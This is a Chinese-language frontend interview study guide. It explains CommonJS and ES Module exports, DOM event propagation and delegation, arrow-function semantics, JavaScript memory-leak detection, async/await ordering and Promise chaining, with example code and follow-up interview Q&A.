虽然 exports 和 module.exports 用法相似,但是不能对 exports 直接赋值。因为 var exports = module.exports 这句代码表明了 exports 和 module.exports享有相同地址,通过改变对象的属性值会对两者都起效,但是如果直接对 exports 赋值就会导致两者不再指向同一个内存地址,修改并不会对 module.exports 起效

ES Module

ES Module 是原生实现的模块化方案,与 CommonJS 有以下几个区别

  1. CommonJS 支持动态导入,也就是 require(${path}/xx.js),后者目前不支持,但是已有提案
  2. CommonJS 是同步导入,因为用于服务端,文件都在本地,同步导入即使卡住主线程影响也不大。而后者是异步导入,因为用于浏览器,需要下载文件,如果也采用同步导入会对渲染有很大影响
  3. CommonJS 在导出时都是值拷贝,就算导出的值变了,导入的值也不会改变,所以如果想更新值,必须重新导入一次。但是 ES Module 采用实时绑定的方式,导入导出的值都指向同一个内存地址,所以导入值会跟随导出值变化
  4. ES Module 会编译成 require/exports来执行的
// 引入模块 API
import XXX from './a.js'
import { XXX } from './a.js'
// 导出模块 API
export function a() {}
export default function() {}

💬 面试官追问

  • Node 服务里模块 a 导出变量后继续修改,调用方发现 require 解构出的值没有同步变化;同事认为所有模块导入都是实时引用,你怎么纠正?

    不能把 CommonJS 与 ESM 的导出语义混为一谈:前者按运行时规则取得导出值,解构后尤其不能期待自动保持实时绑定,而 ESM 的命名导入具有实时绑定语义。若调用方必须读取最新状态,应明确导出访问函数或改用符合约束的模块接口。

  • 前端仓库有上千个模块,构建负责人希望未使用代码能被移除;在 CommonJS 和 ESM 之间你会优先选择哪种组织方式?

    优先使用静态结构清晰的 ESM,其 import 与 export 便于构建工具在编译阶段分析依赖,并为 Tree Shaking 提供条件。动态拼接路径的 require 更难静态判断;但最终能否移除代码还取决于副作用、构建配置和包的导出方式,不能只靠改语法保证。

  • 插件系统要求根据运行时配置拼出模块路径,架构师同时要求依赖必须能被静态分析;这两个约束冲突时你会怎样拆分?

    运行时路径选择更接近 CommonJS 动态加载能力,而静态分析要求依赖集合在构建阶段可确定,两者不能直接同时最大化。可把允许加载的模块建立显式映射,再按配置选择映射项;代价是新增插件必须更新清单,但能避免任意路径破坏依赖分析。

  • 线上启动时报“模块没有导出目标成员”,检查发现库里写了 exports = { a: 1 };为什么 require 拿不到,应该改哪里?

    exports 初始只是指向 module.exports 的局部引用,直接给 exports 重新赋值只会改变这个局部变量的指向,不会更新真正导出的对象。应写成 module.exports = { a: 1 },或使用 exports.a = 1 修改共享对象;混用两种写法时还要检查后续覆盖顺序。

  • 遗留浏览器页面使用 AMD,新应用使用 ESM,负责人问是否值得统一重写;你会怎样划定迁移边界?

    新应用应以原生 ESM 为主,AMD、CMD 更适合作为历史异步加载方案理解,不宜继续扩展新模块。遗留页面若稳定且迁移收益有限,可通过边界适配逐步替换;一次性重写会扩大回归面,还需核对加载器、构建产物和全局依赖。

  • 一个模块既能解决全局命名冲突,又需要在 Node 与浏览器构建中复用;你会怎样串联作用域隔离、模块格式和加载环境做判断?

    模块化首先通过独立作用域减少全局污染,并用显式导入导出形成复用边界;早期立即执行函数只能完成部分隔离,缺少现代依赖声明能力。跨环境时应优先确认运行时支持的格式与包入口,再决定 ESM 或兼容层;格式混搭会带来默认导出和加载语义差异。

# 事件机制

⚡ 30 秒速记

  • DOM 事件依次经历捕获、目标、冒泡阶段,监听器可选择在哪个阶段运行
  • target 是原始触发节点,currentTarget 是当前监听器所在节点
  • 事件委托利用冒泡在祖先统一处理动态子项,减少监听器数量
  • preventDefault 阻止默认行为,stopPropagation 阻止传播,职责不同

DOM 事件会经历捕获、目标和冒泡三个阶段,监听器在哪个阶段执行由 addEventListener 的配置决定。 target 是最初触发事件的节点,currentTarget 是当前绑定监听器的节点,这个区别在事件代理里很关键。动态列表通常把监听器挂在父节点上,利用冒泡统一处理子项,既节省监听器,也不用为移除的子节点单独注销。需要注意,stopPropagation 会阻止后续传播,而 stopImmediatePropagation 还会阻止同一目标上的其他监听器执行。

涉及面试题:事件的触发过程是怎么样的?知道什么是事件代理嘛?

1. 事件触发三阶段

事件触发有三个阶段:

  • window往事件触发处传播,遇到注册的捕获事件会触发
  • 传播到事件触发处时触发注册的事件
  • 从事件触发处往 window 传播,遇到注册的冒泡事件会触发

事件触发一般来说会按照上面的顺序进行,但是也有特例,如果给一个 body 中的子节点同时注册冒泡和捕获事件,事件触发会按照注册的顺序执行

// 以下会先打印冒泡然后是捕获
node.addEventListener(
  'click',
  event => {
    console.log('冒泡')
  },
  false
)
node.addEventListener(
  'click',
  event => {
    console.log('捕获 ')
  },
  true
)

2. 注册事件

通常我们使用 addEventListener 注册事件,该函数的第三个参数可以是布尔值,也可以是对象。对于布尔值 useCapture 参数来说,该参数默认值为 false ,useCapture 决定了注册的事件是捕获事件还是冒泡事件。对于对象参数来说,可以使用以下几个属性

  • capture:布尔值,和 useCapture 作用一样
  • once:布尔值,值为 true 表示该回调只会调用一次,调用后会移除监听
  • passive:布尔值,表示永远不会调用 preventDefault

一般来说,如果我们只希望事件只触发在目标上,这时候可以使用 stopPropagation来阻止事件的进一步传播。通常我们认为 stopPropagation 是用来阻止事件冒泡的,其实该函数也可以阻止捕获事件。stopImmediatePropagation 同样也能实现阻止事件,但是还能阻止该事件目标执行别的注册事件。

node.addEventListener(
  'click',
  event => {
    event.stopImmediatePropagation()
    console.log('冒泡')
  },
  false
)
// 点击 node 只会执行上面的函数,该函数不会执行
node.addEventListener(
  'click',
  event => {
    console.log('捕获 ')
  },
  true
)

3. 事件代理

如果一个节点中的子节点是动态生成的,那么子节点需要注册事件的话应该注册在父节点上

<ul id="ul">
	<li>1</li>
    <li>2</li>
	<li>3</li>
	<li>4</li>
	<li>5</li>
</ul>
<script>
	let ul = document.querySelector('#ul')
	ul.addEventListener('click', (event) => {
		console.log(event.target);
	})
</script>

事件代理的方式相较于直接给目标注册事件来说,有以下优点:

  • 节省内存
  • 不需要给子节点注销事件

💬 面试官追问

  • 弹窗里的按钮同时在按钮、弹窗容器和 document 上注册了 click,其中既有捕获监听也有冒泡监听;用户点击按钮时,你会怎样判断执行顺序,为什么不能简单说“先捕获后冒泡”?

    事件通常从 window 向目标传播并触发捕获监听,到达目标后执行目标监听,再向上触发冒泡监听。需要分别确认监听挂载节点、capture 配置和注册顺序;同一目标上的捕获与冒泡监听存在按注册顺序执行的特殊表现,不能只靠阶段名称推断。

  • 商品列表会持续追加到上万条记录,每项都有删除按钮;你会把监听器绑定到每个按钮,还是放在列表容器上,点击文字或图标时又怎样找到正确项?

    更适合在稳定的列表容器上做事件代理,利用冒泡统一处理动态生成的子项,避免逐项注册和注销监听。处理时不能只假设 event.target 就是按钮,应沿目标向上定位对应操作节点并限制在容器范围内;不冒泡的事件或被中途阻断时代理会失效。

  • 埋点团队要求在页面捕获阶段统一记录点击,业务组件却调用了 stopPropagation() 阻止弹窗外层响应;这次点击还会经过哪些监听,你会怎样避免两方互相破坏?

    stopPropagation() 会阻止事件继续沿传播路径前进,不只影响冒泡阶段,因此是否记录到取决于调用发生前事件是否已经经过埋点监听。应明确监听阶段和职责边界,尽量用目标过滤解决业务误触;若调用 stopImmediatePropagation(),同一目标上的其他监听也可能不再执行,耦合风险更高。

  • 移动页面为改善滚动性能把触摸监听设成了 { passive: true },上线后代码里的 preventDefault() 无法阻止默认滚动;你会检查什么并如何修正?

    先检查该监听是否确实需要取消默认行为,因为 passive: true 表示回调承诺不会调用 preventDefault()。确需拦截时应调整监听选项并重新验证滚动和交互;取消 passive 会放弃这项约束,若只是一次性监听,则可独立使用 { once: true } 自动移除。

  • 同一保存按钮被两个模块分别注册监听,第一个模块校验失败后既要阻止父容器响应,也不希望第二个保存逻辑继续执行;应选 stopPropagation() 还是 stopImmediatePropagation(),代价是什么?

    只调用 stopPropagation() 能阻止事件继续传播,却不保证同一目标上的其他监听停止;该场景需用 stopImmediatePropagation() 才能同时阻断后续同目标监听。它会让模块执行依赖注册顺序并削弱可组合性,通常更稳妥的是合并保存流程或显式传递校验结果。

# 箭头函数

⚡ 30 秒速记

  • 箭头函数没有自己的 this、arguments、super 和 new.target,都从外层词法环境获取
  • 不能作为构造函数,也没有用于实例的 prototype
  • 简洁返回对象字面量时要加圆括号;对象方法需要动态 this 时不要使用箭头函数

箭头函数没有自己的 this 和 arguments,也不能作为构造函数使用。 它的 this 在创建时取自外层作用域,之后用 call 或 apply 也无法改变;参数不定时可以改用 ...args。因此,对象方法、原型方法、依赖动态 this 的事件回调,以及 Vue 的生命周期和 methods,通常不适合写成箭头函数。它也没有用于实例化的 prototype,不能配合 new,更不能使用 yield 充当 Generator 函数。

  • 箭头函数不绑定 arguments,可以使用 ...args 代替
  • 箭头函数没有 prototype 属性,不能进行 new 实例化
  • 箭头函数不能通过 call、apply 等绑定 this,因为箭头函数底层是使用bind永久绑定this了,bind绑定过的this不能修改
  • 箭头函数的this指向创建时父级的this
  • 箭头函数不能使用yield关键字,不能作为Generator函数
const fn1 = () => {
  // 箭头函数中没有arguments
  console.log('arguments', arguments)
}
fn1(100, 300)

const fn2 = () => {
  // 这里的this指向window,箭头函数的this指向创建时父级的this
  console.log('this', this)
}
// 箭头函数不能修改this
fn2.call({x: 100})

const obj = {
  name: 'poetry',
  getName2() {
    // 这里的this指向obj
    return () => {
      // 这里的this指向obj
      return this.name
    }
  },
  getName: () => { // 1、不适用箭头函数的场景1:对象方法
    // 这里不能使用箭头函数,否则箭头函数指向window
    return this.name
  }
}

obj.prototype.getName3 = () => { // 2、不适用箭头函数的场景2:对象原型
  // 这里不能使用箭头函数,否则this指向window
  return this.name
}

const Foo = (name) => { // 3、不适用箭头函数的场景3:构造函数
  this.name = name
}
const f = new Foo('poetry') // 箭头函数没有 prototype 属性,不能进行 new 实例化

const btn1 = document.getElementById('btn1')
btn1.addEventListener('click',()=>{ // 4、不适用箭头函数的场景4:动态上下文的回调函数
  // 这里不能使用箭头函数 this === window
  this.innerHTML = 'click'
})

// Vue 组件本质上是一个 JS 对象,this需要指向组件实例
// vue的生命周期和method不能使用箭头函数
new Vue({
  data:{name:'poetry'},
  methods: { // 5、不适用箭头函数的场景5:vue的生命周期和method
    getName: () => {
      // 这里不能使用箭头函数,否则this指向window
      return this.name
    }
  },
  mounted:() => {
    // 这里不能使用箭头函数,否则this指向window
    this.getName()
  }
})

// React 组件(非 Hooks)它本质上是一个 ES6 class
class Foo {
  constructor(name) {
    this.name = name
  }
  getName = () => { // 这里的箭头函数this指向实例本身没有问题的
    return this.name
  }
}
const f = new Foo('poetry') 
console.log(f.getName() )

总结:不适用箭头函数的场景

  • 场景1:对象方法
  • 场景2:对象原型
  • 场景3:构造函数
  • 场景4:动态上下文的回调函数
  • 场景5:vue的生命周期和method

💬 面试官追问

  • 代码评审中有人把 user.getName() 从普通对象方法改成 getName: () => this.name,页面立刻读不到用户名;为什么 call(user) 也救不回来?

    箭头函数的 this 取自创建时的外层词法环境,并不会因对象调用形式而指向 user。call、apply 或再次 bind 不能改写这个 this;需要动态接收调用者时应恢复普通方法,或直接通过明确对象引用读取数据。

  • 组件里给每个 DOM 按钮注册点击回调,代码使用箭头函数并写了 this.innerHTML = '完成',点击后目标没有更新;你会怎样改,依据是什么?

    箭头回调中的 this 不会由事件系统绑定为当前元素,因此不能依赖它更新按钮。可改用普通函数接收动态上下文,或在箭头函数中通过事件参数取得触发节点;若存在子元素点击,还要区分事件目标与监听器所在元素。

  • 团队想统一函数写法,把构造函数和原型方法都改成箭头函数,再通过 new Foo() 创建几千个模型对象;这项规范为什么不可行?

    箭头函数没有 prototype,不能作为构造函数被 new 实例化,把 Foo 改成箭头函数会直接破坏创建流程。原型方法若需要实例作为动态 this,也不应使用箭头函数;统一语法的收益不足以覆盖语义变化,应按是否需要构造能力和动态上下文选择。

  • 一个日志封装原来在普通函数里读取 arguments,迁移成箭头函数后拿到的不是本次调用参数;在不改调用方的前提下怎么处理?

    箭头函数不绑定自己的 arguments,读取时可能落到外层作用域,因此不能代表本次日志调用。应在参数列表中使用 ...args 收集实参,再按原逻辑处理;若代码还依赖 arguments.callee 等旧式行为,则需要单独重构,不能视为等价替换。

  • Vue 组件的 methods 和生命周期需要访问组件实例,React 类组件的字段回调却常写成箭头函数;面对“所有组件回调都禁用箭头函数”的规范,你会怎么判断?

    判断标准是框架如何提供 this,而不是组件名称:Vue 这类由框架以组件实例调用的方法和生命周期不适合箭头函数。React 类的实例字段箭头函数会词法捕获实例上下文,可用于保持回调中的 this;代价是它不是原型上的普通方法,不能据此推广到所有场景。

# JS内存泄露如何检测?场景有哪些?

⚡ 30 秒速记

  • 常见泄漏来源是未清理的定时器、事件监听、订阅、脱离 DOM、无限缓存和被闭包保留的大对象
  • 检测先观察内存是否在重复操作与强制 GC 后仍持续增长,再用 Heap Snapshot 对比对象保留路径
  • Allocation Timeline 适合定位哪段交互持续分配,Performance 面板可结合长任务一起排查
  • 修复重点是释放引用和生命周期对齐,而不是手动“触发 GC”

检测 JS 内存泄漏,关键是看重复操作后内存是否持续增长,并通过开发者工具定位仍被引用的对象。 常见原因可以归为长期引用未释放,例如全局变量、定时器、全局或自定义事件在组件销毁后仍持有数据。排查时我一般用 Performance 录制操作并观察 Memory 变化,再检查相关对象为什么没有被垃圾回收。修复要让资源和组件生命周期对齐,及时清除定时器、监听器与全局引用;临时对象关系也可以考虑 WeakMap 或 WeakSet。

内存泄漏:当一个对象不再被使用,但是由于某种原因,它的内存没有被释放,这就是内存泄漏。

1. 垃圾回收机制

  • 对于在JavaScript中的字符串,对象,数组是没有固定大小的,只有当对他们进行动态分配存储时,解释器就会分配内存来存储这些数据,当JavaScript的解释器消耗完系统中所有可用的内存时,就会造成系统崩溃。
  • 内存泄漏,在某些情况下,不再使用到的变量所占用内存没有及时释放,导致程序运行中,内存越占越大,极端情况下可以导致系统崩溃,服务器宕机。
  • JavaScript有自己的一套垃圾回收机制,JavaScript的解释器可以检测到什么时候程序不再使用这个对象了(数据),就会把它所占用的内存释放掉。
  • 针对JavaScript的垃圾回收机制有以下两种方法(常用):标记清除(现代),引用计数(之前)

有两种垃圾回收策略:

  • 标记清除:标记阶段即为所有活动对象做上标记,清除阶段则把没有标记(也就是非活动对象)销毁。
  • 引用计数:它把对象是否不再需要简化定义为对象有没有其他对象引用到它。如果没有引用指向该对象(引用计数为 0),对象将被垃圾回收机制回收

标记清除的缺点:

  • 内存碎片化,空闲内存块是不连续的,容易出现很多空闲内存块,还可能会出现分配所需内存过大的对象时找不到合适的块。
  • 分配速度慢,因为即便是使用 First-fit 策略,其操作仍是一个 O(n) 的操作,最坏情况是每次都要遍历到最后,同时因为碎片化,大对象的分配效率会更慢。

解决以上的缺点可以使用 标记整理(Mark-Compact)算法 标记结束后,标记整理算法会将活着的对象(即不需要清理的对象)向内存的一端移动,最后清理掉边界的内存(如下图)

引用计数的缺点:

  • 需要一个计数器,所占内存空间大,因为我们也不知道被引用数量的上限。
  • 解决不了循环引用导致的无法回收问题
    • IE 6、7,JS对象和DOM对象循环引用,清除不了,导致内存泄露

V8 的垃圾回收机制也是基于标记清除算法,不过对其做了一些优化。

  • 针对新生区采用并行回收。
  • 针对老生区采用增量标记与惰性回收

注意:闭包不是内存泄露,闭包的数据是不可以被回收的

拓展:WeakMap、WeakMap的作用

  • 作用是防止内存泄露的
  • WeakMap、WeakMap的应用场景
    • 想临时记录数据或关系
    • 在vue3中大量使用了WeakMap
  • WeakMap的key只能是对象,不能是基本类型

2. 如何检测内存泄露

内存泄露模拟

<p>
  memory change
  <button id="btn1">start</button>
</p>

<script>
    const arr = []
    for (let i = 0; i < 10 * 10000; i++) {
      arr.push(i)
    }

    function bind() {
      // 模拟一个比较大的数据
      const obj = {
        str: JSON.stringify(arr) // 简单的拷贝
      }

      window.addEventListener('resize', () => {
        console.log(obj)
      })
    }

    let n = 0
    function start() {
      setTimeout(() => {
        bind()
        n++

        // 执行 50 次
        if (n < 50) {
          start()
        } else {
          alert('done')
        }
      }, 200)
    }

    document.getElementById('btn1').addEventListener('click', () => {
      start()
    })
</script>

打开开发者工具,选择 Performance,点击 Record,然后点击 Stop,在 Memory 选项卡中可以看到内存的使用情况。

3. 内存泄露的场景(Vue为例)

  • 被全局变量、函数引用,组件销毁时未清除
  • 被全局事件、定时器引用,组件销毁时未清除
  • 被自定义事件引用,组件销毁时未清除
<template>
  <p>Memory Leak Demo</p>
</template>

<script>
export default {
  name: 'Memory Leak Demo',
  data() {
    return {
      arr: [10, 20, 30], // 数组 对象
    }
  },
  methods: {
    printArr() {
      console.log(this.arr)
    }
  },
  mounted() {
    // 全局变量
    window.arr = this.arr
    window.printArr = ()=>{
      console.log(this.arr)
    }

    // 定时器
    this.intervalId = setInterval(() => {
      console.log(this.arr)
    }, 1000)

    // 全局事件
    window.addEventListener('resize', this.printArr)
    // 自定义事件也是这样
  },
  // Vue2是beforeDestroy
  beforeUnmount() {
    // 清除全局变量
    window.arr = null
    window.printArr = null

    // 清除定时器
    clearInterval(this.intervalId)

    // 清除全局事件
    window.removeEventListener('resize', this.printArr)
  },
}
</script>

4. 拓展 WeakMap WeakSet

weakmap 和 weakset 都是弱引用,不会阻止垃圾回收机制回收对象。

const map = new Map() 
function fn1() {
  const obj = { x: 100 }
  map.set('a', obj) // fn1执行完 map还引用着obj
}
fn1()
const wMap = new WeakMap() // 弱引用
function fn1() {
  const obj = { x: 100 }
  // fn1执行完 obj会被清理掉
  wMap.set(obj, 100) // weakMap 的 key 只能是引用类型,字符串数字都不行
}
fn1()

💬 面试官追问

  • 单页应用来回进入报表页五十次后内存持续上涨,有人看到页面使用了闭包就断言是泄漏;你会如何反驳并确定对象是否真的该被回收?

    闭包保留仍会使用的数据本身不等于泄漏,关键是页面退出后对象是否仍被不必要的可达引用链持有。应重复执行进入与退出操作,在开发者工具的 Performance、Memory 视图观察回收后的趋势并追踪引用来源;仅凭一次内存上涨不能下结论。

  • Vue 页面挂载时把大数组和打印函数放到 window,同时注册 resize 和 setInterval;组件卸载后内存不降,你会按什么顺序清理?

    卸载阶段应先断开明确的长生命周期引用:将挂到 window 的数组和函数置空,保存并清除定时器,再用注册时同一个函数引用移除 resize 监听。自定义事件订阅也要对应解绑;遗漏任一入口都可能让组件数据继续保持可达。

  • 后台大屏整夜运行后越来越卡,但手动触发垃圾回收时内存会下降一部分;你怎样区分正常峰值、内存碎片与监听器泄漏?

    应固定操作路径反复采样,关注垃圾回收后基线是否持续抬升,而不是只看峰值。再检查持续增长对象的保留路径,重点核对全局变量、事件监听、定时器和自定义订阅;标记清除可能产生碎片,单凭进程占用未完全回落不能直接锁定泄漏。

  • 缓存模块要给临时 DOM 对象附加元数据,团队在 Map 和 WeakMap 之间争论;对象移除后希望元数据不阻止回收,你会选哪个,限制是什么?

    元数据生命周期应跟随对象且无需枚举时,可用 WeakMap,其键是弱引用,不会仅因缓存关系阻止对象被垃圾回收。键只能是对象等引用类型,不能用字符串或数字;如果业务需要遍历、统计或长期持有条目,则仍要使用普通集合并设计显式淘汰。

  • 旧模块通过引用计数解释垃圾回收,并声称两个互相引用的对象永远无法释放;在现代标记清除语境下,你会怎样纠正并串联循环引用风险?

    互相引用不必然造成泄漏,只要这组对象从根对象出发已不可达,标记清除仍可将其回收。引用计数确实难以处理循环引用,旧环境中 JavaScript 与 DOM 的交叉引用尤其可能出问题;现代排查仍应关注是否存在全局根或监听器把循环结构保持可达。

# async/await异步总结

⚡ 30 秒速记

  • async 函数总返回 Promise,普通返回值会被兑现,抛错会变成拒绝
  • await 暂停当前异步函数,后续逻辑排入微任务,不会阻塞线程
  • 无依赖任务应先同时启动再 Promise.all,逐个 await 会意外串行
  • 错误用 try/catch 或让拒绝向上传递,取消仍需 AbortController 等协作机制

async/await 是基于 Promise 的异步写法,代码看起来同步,但不会把异步任务变成同步执行。 调用 async 函数一定得到 Promise,普通返回值会被包装;await 等待成功结果,遇到拒绝则可由 try...catch 捕获。执行到 await 时,它后面的代码会进入微任务,当前线程仍会继续执行外部同步代码。循环中使用 for...of 配合 await 会串行等待,而 forEach 不会等待每次异步回调完成,选择时要看任务是否存在先后依赖。

知识点总结

  • promise.then链式调用,但也是基于回调函数
  • async/await是同步语法,彻底消灭回调函数

async/await和promise的关系

  • 执行async函数,返回的是promise
async function fn2() {
  return new Promise(() => {})
}
console.log( fn2() )

async function fn1() {
  return 100
}
console.log( fn1() ) // 相当于 Promise.resolve(100)
  • await相当于promise的then
  • try catch可捕获异常,代替了promise的catch
  • await 后面跟 Promise 对象:会阻断后续代码,等待状态变为 fulfilled ,才获取结果并继续执行
  • await 后续跟非 Promise 对象:会直接返回
(async function () {
  const p1 = new Promise(() => {})
  await p1
  console.log('p1') // 不会执行
})()

(async function () {
  const p2 = Promise.resolve(100)
  const res = await p2
  console.log(res) // 100
})()

(async function () {
  const res = await 100
  console.log(res) // 100
})()

(async function () {
  const p3 = Promise.reject('some err') // rejected状态,不会执行下面的then
  const res = await p3 // await 相当于then
  console.log(res) // 不会执行
})()
  • try...catch 捕获 rejected 状态
(async function () {
    const p4 = Promise.reject('some err')
    try {
      const res = await p4
      console.log(res)
    } catch (ex) {
      console.error(ex)
    }
})()

总结来看:

  • async 封装 Promise
  • await 处理 Promise 成功
  • try...catch 处理 Promise 失败

异步本质

await 是同步写法,但本质还是异步调用。

async function async1 () {
  console.log('async1 start')
  await async2()
  console.log('async1 end') // 关键在这一步,它相当于放在 callback 中,最后执行
  // 类似于Promise.resolve().then(()=>console.log('async1 end'))
}

async function async2 () {
  console.log('async2')
}

console.log('script start')
async1()
console.log('script end')

// 打印
// script start
// async1 start
// async2
// script end
// async1 end
async function async1 () {
  console.log('async1 start') // 2
  await async2()

  // await后面的下面三行都是异步回调callback的内容
  console.log('async1 end') // 5 关键在这一步,它相当于放在 callback 中,最后执行
  // 类似于Promise.resolve().then(()=>console.log('async1 end'))
  await async3()
  
  // await后面的下面1行都是异步回调callback的内容
  console.log('async1 end2') // 7
}

async function async2 () {
  console.log('async2') // 3
}
async function async3 () {
  console.log('async3') // 6
}

console.log('script start') // 1
async1()
console.log('script end') // 4

即,只要遇到了 await ,后面的代码都相当于放在 callback(微任务) 里。

执行顺序问题

网上很经典的面试题

async function async1 () {
  console.log('async1 start')
  await async2() // 这一句会同步执行,返回 Promise ,其中的 `console.log('async2')` 也会同步执行
  console.log('async1 end') // 上面有 await ,下面就变成了“异步”,类似 cakkback 的功能(微任务)
}

async function async2 () {
  console.log('async2')
}

console.log('script start')

setTimeout(function () { // 异步,宏任务
  console.log('setTimeout')
}, 0)

async1()

new Promise (function (resolve) { // 返回 Promise 之后,即同步执行完成,then 是异步代码
  console.log('promise1') // Promise 的函数体会立刻执行
  resolve()
}).then (function () { // 异步,微任务
  console.log('promise2')
})

console.log('script end')

// 同步代码执行完之后,屡一下现有的异步未执行的,按照顺序
// 1. async1 函数中 await 后面的内容 —— 微任务(先注册先执行)
// 2. setTimeout —— 宏任务(先注册先执行)
// 3. then —— 微任务

// 同步代码执行完毕(event loop - call stack被清空)
// 执行微任务
// 尝试DOM渲染
// 触发event loop执行宏任务

// 输出
// script start 
// async1 start  
// async2
// promise1
// script end
// async1 end
// promise2
// setTimeout

关于for...of

  • for in以及forEach都是常规的同步遍历
  • for of用于异步遍历
// 定时算乘法
function multi(num) {
  return new Promise((resolve) => {
    setTimeout(() => {
      resolve(num * num)
    }, 1000)
  })
}

// 使用 forEach ,是 1s 之后打印出所有结果,即 3 个值是一起被计算出来的
function test1 () {
  const nums = [1, 2, 3];
  nums.forEach(async x => {
    const res = await multi(x);
    console.log(res); // 一次性打印
  })
}
test1();

// 使用 for...of ,可以让计算挨个串行执行
async function test2 () {
  const nums = [1, 2, 3];
  for (let x of nums) {
    // 在 for...of 循环体的内部,遇到 await 会挨个串行计算
    const res = await multi(x)
    console.log(res) // 依次打印
  }
}
test2()

💬 面试官追问

  • 搜索页代码执行 await Promise.reject('timeout') 后,下面的渲染语句完全没有运行,开发者却认为 await 只是在原地等待;你会怎样解释并修复控制流?

    被等待的 Promise 进入 rejected 后,当前 async 函数会跳过后续普通语句并以拒绝结束,不会取得一个可继续使用的结果。应在合适边界用 try...catch 处理失败,决定展示降级内容还是继续向上抛出;吞掉异常会让调用方误判成功。

  • 首页依次打印同步日志、调用 async1()、创建已解决的 Promise.then(),并注册 setTimeout(..., 0);线上偶发顺序判断错误时,你会怎样定位 await 后代码的位置?

    先把 await 之前的函数调用视为同步执行,await 后续部分则进入微任务队列,再与随后注册的 then 按入队顺序比较。当前同步栈清空后先处理微任务,之后才轮到 setTimeout 所在的宏任务;真实代码若继续产生微任务,顺序还需按实际入队过程展开。

  • 批量导入三千条记录时,forEach(async item => await save(item)) 很快结束,外层却已经提示“导入完成”;你会怎么改,串行与并行分别意味着什么?

    forEach 不会等待异步回调完成,外层流程因此无法用它判断整批任务结束。要求逐条有序时使用 for...of 并在循环体内 await;若任务允许并发,则应显式收集 Promise 再统一等待,但数据量较大时还要控制并发,避免瞬间启动全部任务。

  • 支付流程要求“创建订单成功后才能扣款”,运营又要求多个互不依赖的推荐请求尽快完成;你会怎样安排 await,避免把所有任务都错误串行化?

    创建订单与扣款存在依赖,应按顺序 await,确保前一步成功后再执行下一步。互不依赖的推荐请求可先启动,再集中等待结果,以免每个 await 都增加串行等待;并发方案会改变失败汇总方式,必须明确某个请求失败是否影响整体。

  • 公共函数原来返回普通值 100,改成 async function 后旧调用方直接拿它参与计算并得到异常结果;为什么会这样,兼容改造放在哪一层?

    async 函数始终返回 Promise,即使函数体直接 return 100,调用方拿到的也相当于 Promise.resolve(100)。旧调用链必须改为 await 或使用 then 获取值;若无法同步升级全部调用方,就不应仅为语法统一把同步接口改成 async。

# Promise异步总结

⚡ 30 秒速记

  • Promise 有 pending、fulfilled、rejected 三态,落定后不可逆
  • then 每次返回新 Promise,回调返回值决定后续兑现,抛错决定后续拒绝
  • 回调进入微任务队列;链式调用解决流程组合,不代表底层任务自动并行
  • all、allSettled、race、any 的差别在完成条件与失败策略

Promise 用 pending、fulfilled 和 rejected 表示异步状态,一旦落定就不能再改变。 成功会进入后续 then,失败会进入 catch,而每次调用都会返回一个新的 Promise,所以才能继续链式处理。回调正常返回时,新 Promise 会成功;回调内部抛错时则会失败,这条规则对 then 和 catch 都适用。需要注意,catch 如果把错误处理掉且没有再次抛出,后续 then 仍会执行;如果继续抛错,拒绝状态才会沿链条向后传递。

知识点总结

  • 三种状态
    • pending、fulfilled(通过resolve触发)、rejected(通过reject触发)
    • pending => fulfilled或者pending => rejected
    • 状态变化不可逆
  • 状态的表现和变化
    • pending状态,不会触发then和catch
    • fulfilled状态会触发后续的then回调
    • rejected状态会触发后续的catch回调
  • then和catch对状态的影响(重要)
    • then正常返回fulfilled,里面有报错返回rejected
    const p1 = Promise.resolve().then(()=>{
      return 100
    })
    console.log('p1', p1) // fulfilled会触发后续then回调
    p1.then(()=>{
      console.log(123)
    }) // 打印123
    
    const p2 = Promise.resolve().then(()=>{
      throw new Error('then error')
    })
    // p2是rejected会触发后续catch回调
    p2.then(()=>{
      console.log(456)
    }).catch(err=>{
      console.log(789)
    })
    // 打印789
    
    • catch正常返回fulfilled,里面有报错返回rejected
    const p1 = Promise.reject('my error').catch(()=>{
      console.log('catch error')
    })
    p1.then(()=>{
      console.log(1)
    })
    // console.log(p1) p1返回fulfilled 触发then回调
    const p2 = Promise.reject('my error').catch(()=>{
      throw new Error('catch error')
    })
    // console.log(p2) p2返回rejected 触发catch回调
    p2.then(()=>{
      console.log(2)
    }).catch(()=>{
      console.log(3)
    })
    

promise then和catch的链接

// 第一题
Promise.resolve()
.then(()=>console.log(1))// 状态返回fulfilled
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
.then(()=>console.log(3)) // 1,3
// 整个执行完没有报错,状态返回fulfilled

// 第二题
Promise.resolve()
.then(()=>{ // then中有报错 状态返回rejected,后面的catch会执行
  console.log(1)
  throw new Error('error')
})
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
.then(()=>console.log(3)) // 1,2,3
// 整个执行完没有报错,状态返回fulfilled

// 第三题
Promise.resolve()
.then(()=>{//then中有报错 状态返回rejected,后面的catch会执行
  console.log(1)
  throw new Error('error')
})
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的catch不会执行
.catch(()=>console.log(3)) // 1,2
// 整个执行完没有报错,状态返回fulfilled

💬 面试官追问

  • 订单请求的 Promise 已经 resolve,超时回调稍后又执行了 reject,监控却没有进入失败分支;你怎样解释这种现象?

    Promise 只能从 pending 变为 fulfilled 或 rejected 一次,状态一旦确定就不可逆。较晚发生的 reject 不能覆盖已经完成的结果;仍应清理超时器和底层副作用,因为状态被忽略不代表相关代码没有继续运行。

  • 请求链写成 fetchData().catch(showError).then(render),接口失败后仍进入 render,页面因此把空值当成功数据;问题出在哪里,怎么保持失败状态?

    catch 回调若正常结束,会返回一个新的 fulfilled Promise,因此后续 then 仍会执行。若错误只记录不恢复,应在 catch 中再次抛出错误或返回拒绝;若确实要降级,则应返回满足 render 契约的明确数据,避免隐式恢复。

  • 页面链路中第一个 then 打印成功日志后抛错,后面的 catch 处理完毕,又接了一个 then;团队对最后一步是否执行意见不一,你怎么判断?

    第一个 then 抛错会让它返回的 Promise 变为 rejected,因此进入后续 catch。如果 catch 正常返回且没有再次抛错,它产生的新 Promise 是 fulfilled,最后的 then 会执行;要让错误继续传播,必须在处理后显式抛出或返回拒绝。

  • 一个永远不调用 resolve 或 reject 的权限检查被接到启动链上,页面既不报错也不继续渲染;你会从 Promise 状态上怎样排查?

    该 Promise 会一直保持 pending,因此不会触发后续的 then 或 catch,调用链表现为静默停住。应检查执行器的所有分支是否最终完成状态转换,并为外部依赖设置业务层超时或兜底;仅添加末尾 catch 无法捕获永久等待。

